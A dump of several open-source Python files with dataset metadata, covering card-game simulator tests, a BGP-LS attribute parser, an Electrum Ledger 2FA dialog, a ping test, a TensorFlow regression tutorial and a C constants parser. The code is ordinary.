forgetful ability triggers once. It hits the warden one time (its intended target) game.play_single_turn() self.assertEqual(2, len(game.current_player.minions)) self.assertEqual(3, len(game.other_player.minions)) self.assertEqual("Mogu'shan Warden", game.other_player.minions[0].card.name) self.assertEqual("Silverback Patriarch", game.other_player.minions[1].card.name) self.assertEqual("Stonetusk Boar", game.other_player.minions[2].card.name) self.assertEqual(30, game.other_player.hero.health) def test_Powermace(self): game = generate_game_for([Powermace, SpiderTank, SpiderTank], Wisp, PlayAndAttackAgent, DoNothingAgent) for turn in range(0, 6): game.play_single_turn() self.assertEqual(0, len(game.players[0].minions)) self.assertEqual(27, game.players[1].hero.health) self.assertEqual(3, game.players[0].weapon.base_attack) self.assertEqual(1, game.players[0].weapon.durability) game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(24, game.players[1].hero.health) self.assertEqual(5, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) def test_Neptulon(self): game = generate_game_for([TheCoin, TheCoin, TheCoin, TheCoin, TheCoin, TheCoin, TheCoin, TheCoin, TheCoin, Neptulon], Wisp, CardTestingAgent, DoNothingAgent) for turn in range(0, 12): game.play_single_turn() self.assertEqual(0, len(game.players[0].minions)) self.assertEqual(0, len(game.players[0].hand)) game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(4, len(game.players[0].hand)) for card in game.players[0].hand: self.assertEqual(MINION_TYPE.MURLOC, card.minion_type) def test_AncestorsCall(self): game = generate_game_for([AncestorsCall, StonetuskBoar], [Doomguard, Soulfire], OneCardPlayingAgent, OneCardPlayingAgent) for turn in range(6): game.play_single_turn() game.play_single_turn() self.assertEqual(1, len(game.current_player.minions)) self.assertEqual("Stonetusk Boar", game.current_player.minions[0].card.name) self.assertEqual(1, len(game.other_player.minions)) self.assertEqual("Doomguard", game.other_player.minions[0].card.name) self.assertEqual(5, len(game.current_player.hand)) self.assertEqual(7, len(game.other_player.hand)) def test_LavaShock(self): game = generate_game_for([Doomhammer, LightningBolt, LavaShock], StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(11): game.play_single_turn() # The player should have been able to do everything AND have three mana left over self.assertEqual(25, game.other_player.hero.health) self.assertEqual(3, game.current_player.mana) def test_FireguardDestroyer(self): game = generate_game_for(FireguardDestroyer, Wisp, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 8): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(6, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual(5, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(3, len(game.players[0].minions)) self.assertEqual(5, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(4, len(game.players[0].minions)) self.assertEqual(5, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(5, len(game.players[0].minions)) self.assertEqual(6, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(6, len(game.players[0].minions)) self.assertEqual(4, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(7, len(game.players[0].minions)) # Well, I was trying to get a 7/6 but no luck self.assertEqual(5, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) def test_AncestralKnowledge(self): game = generate_game_for(AncestralKnowledge, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 3): game.play_single_turn() self.assertEqual(6, len(game.current_player.hand)) self.assertEqual(2, game.current_player.upcoming_overload)

true

1c4208b6ad9a7e5b1a47d5852047900afcc2793d

3,146

py

Python

lib/exabgp/bgp/message/update/attribute/bgpls/link/sradjlan.py

fser/exabgp

9a41b5f833a00a4d56b1a38f73858d62685065dd

[ "BSD-3-Clause" ]

2

2018-02-07T14:49:11.000Z

2021-09-08T15:31:51.000Z

lib/exabgp/bgp/message/update/attribute/bgpls/link/sradjlan.py

fser/exabgp

9a41b5f833a00a4d56b1a38f73858d62685065dd

[ "BSD-3-Clause" ]

null

lib/exabgp/bgp/message/update/attribute/bgpls/link/sradjlan.py

fser/exabgp

9a41b5f833a00a4d56b1a38f73858d62685065dd

[ "BSD-3-Clause" ]

1

2020-07-23T16:54:01.000Z

# encoding: utf-8 """ sradjlan.py Created by Evelio Vila Copyright (c) 2014-2017 Exa Networks. All rights reserved. """ import json from struct import unpack from exabgp.vendoring import six from exabgp.vendoring.bitstring import BitArray from exabgp.protocol.iso import ISO from exabgp.bgp.message.update.attribute.bgpls.linkstate import LINKSTATE, LsGenericFlags from exabgp.bgp.message.notification import Notify # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Type | Length | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Flags | Weight | Reserved | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | OSPF Neighbor ID / IS-IS System-ID | # + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | SID/Label/Index (variable) | # +---------------------------------------------------------------+ # draft-gredler-idr-bgp-ls-segment-routing-ext-03 @LINKSTATE.register() class SrAdjacencyLan(object): TLV = 1100 def __init__ (self, flags, sids, weight): self.flags = flags self.sids = sids self.weight = weight def __repr__ (self): return "sr_adj_lan_flags: %s, sids: %s" % (self.flags, self.sids) @classmethod def unpack (cls,data,length): # We only support IS-IS flags for now. flags = LsGenericFlags.unpack(data[0:1],LsGenericFlags.ISIS_SR_ADJ_FLAGS) # Parse adj weight weight = six.indexbytes(data,1) # Move pointer 4 bytes: Flags(1) + Weight(1) + Reserved(2) data = data[4:] isis_system_id = ISO.unpack_sysid(data[:6]) # SID/Index/Label: according to the V and L flags, it contains # either: # * A 3 octet local label where the 20 rightmost bits are used for # encoding the label value. In this case the V and L flags MUST # be set. # # * A 4 octet index defining the offset in the SID/Label space # advertised by this router using the encodings defined in # Section 3.1. In this case V and L flags MUST be unset. sids = [] while data: # Range Size: 3 octet value indicating the number of labels in # the range. if int(flags.flags['V']) and int(flags.flags['L']): b = BitArray(bytes=data[:3]) sid = b.unpack('uintbe:24')[0] data = data[3:] elif (not flags.flags['V']) and \ (not flags.flags['L']): sid = unpack('!I',data[:4])[0] data = data[4:] sids.append(sid) return cls(flags=flags, sids=sids, weight=weight) def json (self,compact=None): return ', '.join(['"sr-adj-lan-flags": {}'.format(self.flags.json()), '"sids": {}'.format(json.dumps(self.sids)), '"sr-adj-lan-weight": {}'.format(json.dumps(self.weight))])

36.581395

89

0.508264

import json from struct import unpack from exabgp.vendoring import six from exabgp.vendoring.bitstring import BitArray from exabgp.protocol.iso import ISO from exabgp.bgp.message.update.attribute.bgpls.linkstate import LINKSTATE, LsGenericFlags from exabgp.bgp.message.notification import Notify @LINKSTATE.register() class SrAdjacencyLan(object): TLV = 1100 def __init__ (self, flags, sids, weight): self.flags = flags self.sids = sids self.weight = weight def __repr__ (self): return "sr_adj_lan_flags: %s, sids: %s" % (self.flags, self.sids) @classmethod def unpack (cls,data,length): flags = LsGenericFlags.unpack(data[0:1],LsGenericFlags.ISIS_SR_ADJ_FLAGS) weight = six.indexbytes(data,1) data = data[4:] isis_system_id = ISO.unpack_sysid(data[:6]) sids = [] while data: if int(flags.flags['V']) and int(flags.flags['L']): b = BitArray(bytes=data[:3]) sid = b.unpack('uintbe:24')[0] data = data[3:] elif (not flags.flags['V']) and \ (not flags.flags['L']): sid = unpack('!I',data[:4])[0] data = data[4:] sids.append(sid) return cls(flags=flags, sids=sids, weight=weight) def json (self,compact=None): return ', '.join(['"sr-adj-lan-flags": {}'.format(self.flags.json()), '"sids": {}'.format(json.dumps(self.sids)), '"sr-adj-lan-weight": {}'.format(json.dumps(self.weight))])

true

1c4209296b5062a78da810907578479114e202ca

7,060

py

Python

electrum/plugins/ledger/auth2fa.py

lucasan123/electrum-bitgesell

92eb2c28035aa96674d50b611ac9de0382adbc2b

[ "MIT" ]

null

electrum/plugins/ledger/auth2fa.py

lucasan123/electrum-bitgesell

92eb2c28035aa96674d50b611ac9de0382adbc2b

[ "MIT" ]

1

2020-08-26T20:31:21.000Z

2020-08-26T20:32:32.000Z

electrum/plugins/ledger/auth2fa.py

lucasan123/electrum-bitgesell

92eb2c28035aa96674d50b611ac9de0382adbc2b

[ "MIT" ]

null

import copy from PyQt5.QtWidgets import (QDialog, QLineEdit, QTextEdit, QVBoxLayout, QLabel, QWidget, QHBoxLayout, QComboBox) from btchip.btchip import BGLhipException from electrum.gui.qt.util import PasswordLineEdit from electrum.i18n import _ from electrum import constants, bitgesell from electrum.logging import get_logger _logger = get_logger(__name__) DEBUG = False helpTxt = [_("Your Ledger Wallet wants to tell you a one-time PIN code. " \ "For best security you should unplug your device, open a text editor on another computer, " \ "put your cursor into it, and plug your device into that computer. " \ "It will output a summary of the transaction being signed and a one-time PIN. " \ "Verify the transaction summary and type the PIN code here. " \ "Before pressing enter, plug the device back into this computer. " ), _("Verify the address below. Type the character from your security card corresponding to the BOLD character."), ] class LedgerAuthDialog(QDialog): def __init__(self, handler, data): '''Ask user for 2nd factor authentication. Support text and security card methods. Use last method from settings, but support downgrade. ''' QDialog.__init__(self, handler.top_level_window()) self.handler = handler self.txdata = data self.idxs = self.txdata['keycardData'] if self.txdata['confirmationType'] > 1 else '' self.setMinimumWidth(650) self.setWindowTitle(_("Ledger Wallet Authentication")) self.cfg = copy.deepcopy(self.handler.win.wallet.get_keystore().cfg) self.dongle = self.handler.win.wallet.get_keystore().get_client().dongle self.pin = '' self.devmode = self.getDevice2FAMode() if self.devmode == 0x11 or self.txdata['confirmationType'] == 1: self.cfg['mode'] = 0 vbox = QVBoxLayout() self.setLayout(vbox) def on_change_mode(idx): self.cfg['mode'] = 0 if self.devmode == 0x11 else idx if idx > 0 else 1 if self.cfg['mode'] > 0: self.handler.win.wallet.get_keystore().cfg = self.cfg self.handler.win.wallet.save_keystore() self.update_dlg() def return_pin(): self.pin = self.pintxt.text() if self.txdata['confirmationType'] == 1 else self.cardtxt.text() if self.cfg['mode'] == 1: self.pin = ''.join(chr(int(str(i),16)) for i in self.pin) self.accept() self.modebox = QWidget() modelayout = QHBoxLayout() self.modebox.setLayout(modelayout) modelayout.addWidget(QLabel(_("Method:"))) self.modes = QComboBox() modelayout.addWidget(self.modes, 2) modelayout.addStretch(1) self.modebox.setMaximumHeight(50) vbox.addWidget(self.modebox) self.populate_modes() self.modes.currentIndexChanged.connect(on_change_mode) self.helpmsg = QTextEdit() self.helpmsg.setStyleSheet("QTextEdit { color:black; background-color: lightgray; }") self.helpmsg.setReadOnly(True) vbox.addWidget(self.helpmsg) self.pinbox = QWidget() pinlayout = QHBoxLayout() self.pinbox.setLayout(pinlayout) self.pintxt = PasswordLineEdit() self.pintxt.setMaxLength(4) self.pintxt.returnPressed.connect(return_pin) pinlayout.addWidget(QLabel(_("Enter PIN:"))) pinlayout.addWidget(self.pintxt) pinlayout.addWidget(QLabel(_("NOT DEVICE PIN - see above"))) pinlayout.addStretch(1) self.pinbox.setVisible(self.cfg['mode'] == 0) vbox.addWidget(self.pinbox) self.cardbox = QWidget() card = QVBoxLayout() self.cardbox.setLayout(card) self.addrtext = QTextEdit() self.addrtext.setStyleSheet(''' QTextEdit { color:blue; background-color:lightgray; padding:15px 10px; border:none; font-size:20pt; font-family: "Courier New", monospace; } ''') self.addrtext.setReadOnly(True) self.addrtext.setMaximumHeight(130) card.addWidget(self.addrtext) def pin_changed(s): if len(s) < len(self.idxs): i = self.idxs[len(s)] addr = self.txdata['address'] if not constants.net.TESTNET: text = addr[:i] + '' + addr[i:i+1] + '' + addr[i+1:] else: # pin needs to be created from mainnet address addr_mainnet = bitgesell.script_to_address(bitgesell.address_to_script(addr), net=constants.BitgesellMainnet) addr_mainnet = addr_mainnet[:i] + '' + addr_mainnet[i:i+1] + '' + addr_mainnet[i+1:] text = str(addr) + '\n' + str(addr_mainnet) self.addrtext.setHtml(str(text)) else: self.addrtext.setHtml(_("Press Enter")) pin_changed('') cardpin = QHBoxLayout() cardpin.addWidget(QLabel(_("Enter PIN:"))) self.cardtxt = PasswordLineEdit() self.cardtxt.setMaxLength(len(self.idxs)) self.cardtxt.textChanged.connect(pin_changed) self.cardtxt.returnPressed.connect(return_pin) cardpin.addWidget(self.cardtxt) cardpin.addWidget(QLabel(_("NOT DEVICE PIN - see above"))) cardpin.addStretch(1) card.addLayout(cardpin) self.cardbox.setVisible(self.cfg['mode'] == 1) vbox.addWidget(self.cardbox) self.update_dlg() def populate_modes(self): self.modes.blockSignals(True) self.modes.clear() self.modes.addItem(_("Summary Text PIN (requires dongle replugging)") if self.txdata['confirmationType'] == 1 else _("Summary Text PIN is Disabled")) if self.txdata['confirmationType'] > 1: self.modes.addItem(_("Security Card Challenge")) self.modes.blockSignals(False) def update_dlg(self): self.modes.setCurrentIndex(self.cfg['mode']) self.modebox.setVisible(True) self.helpmsg.setText(helpTxt[self.cfg['mode']]) self.helpmsg.setMinimumHeight(180 if self.txdata['confirmationType'] == 1 else 100) self.helpmsg.setVisible(True) self.pinbox.setVisible(self.cfg['mode'] == 0) self.cardbox.setVisible(self.cfg['mode'] == 1) self.pintxt.setFocus(True) if self.cfg['mode'] == 0 else self.cardtxt.setFocus(True) self.setMaximumHeight(400) def getDevice2FAMode(self): apdu = [0xe0, 0x24, 0x01, 0x00, 0x00, 0x01] # get 2fa mode try: mode = self.dongle.exchange( bytearray(apdu) ) return mode except BGLhipException as e: _logger.debug('Device getMode Failed') return 0x11

42.787879

157

0.610057

import copy from PyQt5.QtWidgets import (QDialog, QLineEdit, QTextEdit, QVBoxLayout, QLabel, QWidget, QHBoxLayout, QComboBox) from btchip.btchip import BGLhipException from electrum.gui.qt.util import PasswordLineEdit from electrum.i18n import _ from electrum import constants, bitgesell from electrum.logging import get_logger _logger = get_logger(__name__) DEBUG = False helpTxt = [_("Your Ledger Wallet wants to tell you a one-time PIN code. " \ "For best security you should unplug your device, open a text editor on another computer, " \ "put your cursor into it, and plug your device into that computer. " \ "It will output a summary of the transaction being signed and a one-time PIN. " \ "Verify the transaction summary and type the PIN code here. " \ "Before pressing enter, plug the device back into this computer. " ), _("Verify the address below. Type the character from your security card corresponding to the BOLD character."), ] class LedgerAuthDialog(QDialog): def __init__(self, handler, data): QDialog.__init__(self, handler.top_level_window()) self.handler = handler self.txdata = data self.idxs = self.txdata['keycardData'] if self.txdata['confirmationType'] > 1 else '' self.setMinimumWidth(650) self.setWindowTitle(_("Ledger Wallet Authentication")) self.cfg = copy.deepcopy(self.handler.win.wallet.get_keystore().cfg) self.dongle = self.handler.win.wallet.get_keystore().get_client().dongle self.pin = '' self.devmode = self.getDevice2FAMode() if self.devmode == 0x11 or self.txdata['confirmationType'] == 1: self.cfg['mode'] = 0 vbox = QVBoxLayout() self.setLayout(vbox) def on_change_mode(idx): self.cfg['mode'] = 0 if self.devmode == 0x11 else idx if idx > 0 else 1 if self.cfg['mode'] > 0: self.handler.win.wallet.get_keystore().cfg = self.cfg self.handler.win.wallet.save_keystore() self.update_dlg() def return_pin(): self.pin = self.pintxt.text() if self.txdata['confirmationType'] == 1 else self.cardtxt.text() if self.cfg['mode'] == 1: self.pin = ''.join(chr(int(str(i),16)) for i in self.pin) self.accept() self.modebox = QWidget() modelayout = QHBoxLayout() self.modebox.setLayout(modelayout) modelayout.addWidget(QLabel(_("Method:"))) self.modes = QComboBox() modelayout.addWidget(self.modes, 2) modelayout.addStretch(1) self.modebox.setMaximumHeight(50) vbox.addWidget(self.modebox) self.populate_modes() self.modes.currentIndexChanged.connect(on_change_mode) self.helpmsg = QTextEdit() self.helpmsg.setStyleSheet("QTextEdit { color:black; background-color: lightgray; }") self.helpmsg.setReadOnly(True) vbox.addWidget(self.helpmsg) self.pinbox = QWidget() pinlayout = QHBoxLayout() self.pinbox.setLayout(pinlayout) self.pintxt = PasswordLineEdit() self.pintxt.setMaxLength(4) self.pintxt.returnPressed.connect(return_pin) pinlayout.addWidget(QLabel(_("Enter PIN:"))) pinlayout.addWidget(self.pintxt) pinlayout.addWidget(QLabel(_("NOT DEVICE PIN - see above"))) pinlayout.addStretch(1) self.pinbox.setVisible(self.cfg['mode'] == 0) vbox.addWidget(self.pinbox) self.cardbox = QWidget() card = QVBoxLayout() self.cardbox.setLayout(card) self.addrtext = QTextEdit() self.addrtext.setStyleSheet(''' QTextEdit { color:blue; background-color:lightgray; padding:15px 10px; border:none; font-size:20pt; font-family: "Courier New", monospace; } ''') self.addrtext.setReadOnly(True) self.addrtext.setMaximumHeight(130) card.addWidget(self.addrtext) def pin_changed(s): if len(s) < len(self.idxs): i = self.idxs[len(s)] addr = self.txdata['address'] if not constants.net.TESTNET: text = addr[:i] + '' + addr[i:i+1] + '' + addr[i+1:] else: addr_mainnet = bitgesell.script_to_address(bitgesell.address_to_script(addr), net=constants.BitgesellMainnet) addr_mainnet = addr_mainnet[:i] + '' + addr_mainnet[i:i+1] + '' + addr_mainnet[i+1:] text = str(addr) + '\n' + str(addr_mainnet) self.addrtext.setHtml(str(text)) else: self.addrtext.setHtml(_("Press Enter")) pin_changed('') cardpin = QHBoxLayout() cardpin.addWidget(QLabel(_("Enter PIN:"))) self.cardtxt = PasswordLineEdit() self.cardtxt.setMaxLength(len(self.idxs)) self.cardtxt.textChanged.connect(pin_changed) self.cardtxt.returnPressed.connect(return_pin) cardpin.addWidget(self.cardtxt) cardpin.addWidget(QLabel(_("NOT DEVICE PIN - see above"))) cardpin.addStretch(1) card.addLayout(cardpin) self.cardbox.setVisible(self.cfg['mode'] == 1) vbox.addWidget(self.cardbox) self.update_dlg() def populate_modes(self): self.modes.blockSignals(True) self.modes.clear() self.modes.addItem(_("Summary Text PIN (requires dongle replugging)") if self.txdata['confirmationType'] == 1 else _("Summary Text PIN is Disabled")) if self.txdata['confirmationType'] > 1: self.modes.addItem(_("Security Card Challenge")) self.modes.blockSignals(False) def update_dlg(self): self.modes.setCurrentIndex(self.cfg['mode']) self.modebox.setVisible(True) self.helpmsg.setText(helpTxt[self.cfg['mode']]) self.helpmsg.setMinimumHeight(180 if self.txdata['confirmationType'] == 1 else 100) self.helpmsg.setVisible(True) self.pinbox.setVisible(self.cfg['mode'] == 0) self.cardbox.setVisible(self.cfg['mode'] == 1) self.pintxt.setFocus(True) if self.cfg['mode'] == 0 else self.cardtxt.setFocus(True) self.setMaximumHeight(400) def getDevice2FAMode(self): apdu = [0xe0, 0x24, 0x01, 0x00, 0x00, 0x01] try: mode = self.dongle.exchange( bytearray(apdu) ) return mode except BGLhipException as e: _logger.debug('Device getMode Failed') return 0x11

true

1c42095fa66c2003f5d58eae607de990f19f42e8

565

py

Python

py_sys_test/ping_test/ping_icmp_test.py

interhui/py-sys

5d0f8cf5421a5766ed66d78a5364a017cb38aa3a

[ "Apache-2.0" ]

1

2016-03-23T10:25:57.000Z

py_sys_test/ping_test/ping_icmp_test.py

vicky-tan/py-sys

5d0f8cf5421a5766ed66d78a5364a017cb38aa3a

[ "Apache-2.0" ]

null

py_sys_test/ping_test/ping_icmp_test.py

vicky-tan/py-sys

5d0f8cf5421a5766ed66d78a5364a017cb38aa3a

[ "Apache-2.0" ]

null

# coding=utf-8 import unittest from py_sys.ping import ping_icmp class Test(unittest.TestCase): def test_ping(self): p = ping_icmp.PingICMP() result = p.ping('127.0.0.1', 1, 5) for item in result: self.assertEqual(item.get('result'), 'success') def test_ping_timeout(self): p = ping_icmp.PingICMP() result = p.ping('192.168.1.2', 1, 5) for item in result: self.assertEqual(item.get('result'), 'timeout') if __name__ == "__main__": unittest.main()

28.25

60

0.573451

import unittest from py_sys.ping import ping_icmp class Test(unittest.TestCase): def test_ping(self): p = ping_icmp.PingICMP() result = p.ping('127.0.0.1', 1, 5) for item in result: self.assertEqual(item.get('result'), 'success') def test_ping_timeout(self): p = ping_icmp.PingICMP() result = p.ping('192.168.1.2', 1, 5) for item in result: self.assertEqual(item.get('result'), 'timeout') if __name__ == "__main__": unittest.main()

true

1c420a026350f63f0fc65e8540cbbb62db2549ca

2,058

py

Python

_old_basic_tensorflow/tutorial2_simpleRegressionLowLevel/simpleRegressionLowLevel.py

UnnamedMoose/LearningMLandRL

a3a47998c32078a069ea82ce0032c30bb8b387f2

[ "MIT" ]

2

2021-01-29T12:33:35.000Z

2021-07-11T05:47:26.000Z

_old_basic_tensorflow/tutorial2_simpleRegressionLowLevel/simpleRegressionLowLevel.py

UnnamedMoose/LearningMLandRL

a3a47998c32078a069ea82ce0032c30bb8b387f2

[ "MIT" ]

null

_old_basic_tensorflow/tutorial2_simpleRegressionLowLevel/simpleRegressionLowLevel.py

UnnamedMoose/LearningMLandRL

a3a47998c32078a069ea82ce0032c30bb8b387f2

[ "MIT" ]

1

2018-03-14T18:23:10.000Z

import numpy as np import matplotlib.pyplot as plt import tensorflow as tf # correlation variable x and ground truth values x = tf.constant([[1], [2], [3], [4]], dtype=tf.float32, name="inputData") y_true = tf.constant([[0], [-1], [-2], [-3]], dtype=tf.float32, name="groundTruth") # linear model linear_model = tf.layers.Dense(units=1, name="regressionModel") # prediciton of y from x using the linear model is what we're after y_pred = linear_model(x) # loss model that computes mean square error between the ground truth and predictions loss = tf.losses.mean_squared_error(labels=y_true, predictions=y_pred) # create an optimiser instance that will tune the coefficients of the graph # in order to minimise the loss function optimizer = tf.train.GradientDescentOptimizer(0.01, name="gradientOpt") train = optimizer.minimize(loss) # initialiser init = tf.global_variables_initializer() # create a writer for graph visualisation; produces an "event" file writer = tf.summary.FileWriter("./modelData") writer.add_graph(tf.get_default_graph()) lossTrace = [] with tf.Session() as sess: # initialise sess.run(init) # run the training for i in range(1000): _, loss_value = sess.run((train, loss)) lossTrace = np.append(lossTrace, loss_value) if i%100 == 0: print("Iter {:2d}, loss ={:7.4f}".format(i, loss_value)) # come up with the final prediciton and convert to numpy arrays for further processing independentVariable = sess.run(x) finalPred = sess.run(y_pred) groundTruth = sess.run(y_true) print("\nFinal prediction: {}".format(finalPred)) print("\nGround truth: {}".format(groundTruth)) plt.figure() plt.plot(lossTrace, "kp--", ms=5, lw=2) plt.xlabel("Iteration") plt.ylabel("Loss [-]") plt.figure() plt.plot(independentVariable, groundTruth, "kp--", ms=9, lw=2, label="Ground truth") plt.plot(independentVariable, finalPred, "rx--", ms=9, lw=2, markeredgewidth=2, label="Predicted value") plt.legend(prop={"size":14}) plt.xlabel("x") plt.ylabel("y") plt.show()

32.666667

90

0.706511

import numpy as np import matplotlib.pyplot as plt import tensorflow as tf x = tf.constant([[1], [2], [3], [4]], dtype=tf.float32, name="inputData") y_true = tf.constant([[0], [-1], [-2], [-3]], dtype=tf.float32, name="groundTruth") linear_model = tf.layers.Dense(units=1, name="regressionModel") y_pred = linear_model(x) # loss model that computes mean square error between the ground truth and predictions loss = tf.losses.mean_squared_error(labels=y_true, predictions=y_pred) # create an optimiser instance that will tune the coefficients of the graph # in order to minimise the loss function optimizer = tf.train.GradientDescentOptimizer(0.01, name="gradientOpt") train = optimizer.minimize(loss) # initialiser init = tf.global_variables_initializer() # create a writer for graph visualisation; produces an "event" file writer = tf.summary.FileWriter("./modelData") writer.add_graph(tf.get_default_graph()) lossTrace = [] with tf.Session() as sess: # initialise sess.run(init) # run the training for i in range(1000): _, loss_value = sess.run((train, loss)) lossTrace = np.append(lossTrace, loss_value) if i%100 == 0: print("Iter {:2d}, loss ={:7.4f}".format(i, loss_value)) # come up with the final prediciton and convert to numpy arrays for further processing independentVariable = sess.run(x) finalPred = sess.run(y_pred) groundTruth = sess.run(y_true) print("\nFinal prediction: {}".format(finalPred)) print("\nGround truth: {}".format(groundTruth)) plt.figure() plt.plot(lossTrace, "kp--", ms=5, lw=2) plt.xlabel("Iteration") plt.ylabel("Loss [-]") plt.figure() plt.plot(independentVariable, groundTruth, "kp--", ms=9, lw=2, label="Ground truth") plt.plot(independentVariable, finalPred, "rx--", ms=9, lw=2, markeredgewidth=2, label="Predicted value") plt.legend(prop={"size":14}) plt.xlabel("x") plt.ylabel("y") plt.show()

true

1c420bf7c19855a237c76ab11081492f6b152c52

89

py

Python

main.py

asa-leholland/GRE-calculator

43530e24c2e6059ce03027eec1cce82d4fe70479

[ "MIT" ]

null

main.py

asa-leholland/GRE-calculator

43530e24c2e6059ce03027eec1cce82d4fe70479

[ "MIT" ]

1

2020-12-08T22:41:41.000Z

main.py

asa-leholland/GRE-calculator

43530e24c2e6059ce03027eec1cce82d4fe70479

[ "MIT" ]

null

# main.py from GRECalculator import Calculator_GRE Calculator_GRE.run_calculator_app()

17.8

40

0.842697

from GRECalculator import Calculator_GRE Calculator_GRE.run_calculator_app()

true

1c420e114a9eed82cb11c9a5c735161c1461defa

6,106

py

Python

constantsgen/constantsparse.py

barracudanetworks/constantsgen

ff5b0a2d9d297b5da6d4475a91b8180ce9b60f16

[ "BSD-3-Clause" ]

null

constantsgen/constantsparse.py

barracudanetworks/constantsgen

ff5b0a2d9d297b5da6d4475a91b8180ce9b60f16

[ "BSD-3-Clause" ]

1

2016-12-15T18:41:51.000Z

constantsgen/constantsparse.py

barracudanetworks/constantsgen

ff5b0a2d9d297b5da6d4475a91b8180ce9b60f16

[ "BSD-3-Clause" ]

1

2016-09-25T21:26:54.000Z

import re import os from collections import namedtuple, OrderedDict EnumImport = namedtuple("EnumImport", "source_name destination_name name_overrides") # #define constants. constants = re.compile(r"#define ([^\s]+)\s+(.+)") # Enums. enums = re.compile(r"enum[^{]+\{[^}]+\};") # Name of an enum. enum_name = re.compile(r"enum\s+([^\s{]+)") # Enum contents between the braces. enum_contents = re.compile(r"{([^}]+)};") # Enum value with an explicit value. enum_explicit_value = re.compile(r"(?:\s*([^\s]+)\s*=\s*([^\s,]+),?)$", flags=re.MULTILINE) # Enum value with an implicit value. enum_implicit_value = re.compile(r"(?:^\s*([^\s,]+),?$)", flags=re.MULTILINE) class ConstantsParser: def __init__(self, input_file): self.source_files = [] self.imported_constants = {} self.imported_enums = {} self.constant_values = OrderedDict() self.enum_values = OrderedDict() manual_suffixes = OrderedDict() section = None for line in input_file: # Skip blank lines and comments if line == "\n" or line.startswith("#"): continue # Set section based on header if line.endswith(":\n"): section = line[:-2] continue if section == "file": self.source_files.append(line[:-1]) elif section == "constant": words = line.split() assert len(words) <= 2 # Export as the source name if only one is provided; otherwise # use the override. self.imported_constants[words[0]] = words[-1] elif section == "enum": words = line.split() assert len(words) >= 2 name_overrides = {} if len(words) > 2: overrides = words[2:] # Pairs: source_name dest_name assert len(overrides) % 2 == 0 index = 0 while index + 1 < len(overrides): name_overrides[overrides[index]] = overrides[index + 1] index += 2 target = EnumImport(words[0], words[1], name_overrides) self.imported_enums[target.source_name] = target elif section.startswith("manual"): target_container = None if section == "manual_prefix": target_container = self.constant_values elif section == "manual" or section == "manual_suffix": target_container = manual_suffixes if target_container is not None: # Separate the key, and only the key, by whitespace. # The remainder of the line is the value. key, value = line.split(None, 1) target_container[key] = value.rstrip() for filename in self.source_files: # Resolve paths in input file relative to its location. input_dir = os.path.dirname(input_file.name) file = open(os.path.join(input_dir, filename)).read() for constant in constants.findall(file): name, value = constant if name not in self.imported_constants: continue name = self.imported_constants.pop(name) self.constant_values[name] = value for enum in enums.findall(file): # TODO: Could generate Enum classes only? # TODO: Option to consider an enum individual constants? name_search = enum_name.search(enum) if not name_search: continue name = name_search.group(1) if not name in self.imported_enums: continue enum_definition = self.imported_enums.pop(name) contents = enum_contents.search(enum).group(1) name = enum_definition.destination_name self.enum_values[name] = OrderedDict() enum_values = self.enum_values[name] explicit_values = enum_explicit_value.findall(contents) if explicit_values: for name, value in explicit_values: if name in enum_definition.name_overrides: name = enum_definition.name_overrides[name] enum_values[name] = value implicit_values = enum_implicit_value.findall(contents) # If there are any explicit values this assumes either all # values are explicit or only the first is explicit and the rest # are implicit. # TODO: Use C constants for extracted enums? if implicit_values: assert len(explicit_values) <= 1 value = 0 if explicit_values: name = explicit_values[0][0] if name in enum_definition.name_overrides: name = enum_definition.name_overrides[name] value = int(enum_values[name], base=0) + 1 for name in implicit_values: if name in enum_definition.name_overrides: name = enum_definition.name_overrides[name] enum_values[name] = value value += 1 assert enum_values if self.imported_constants: names = list(self.imported_constants) raise Exception("constants {} not found".format(names)) if self.imported_enums: names = list(self.imported_enums) raise Exception("enums {} not found".format(names)) # Add manual suffixes now that all values are loaded. for name, value in manual_suffixes.items(): self.constant_values[name] = value

36.783133

80

0.531281

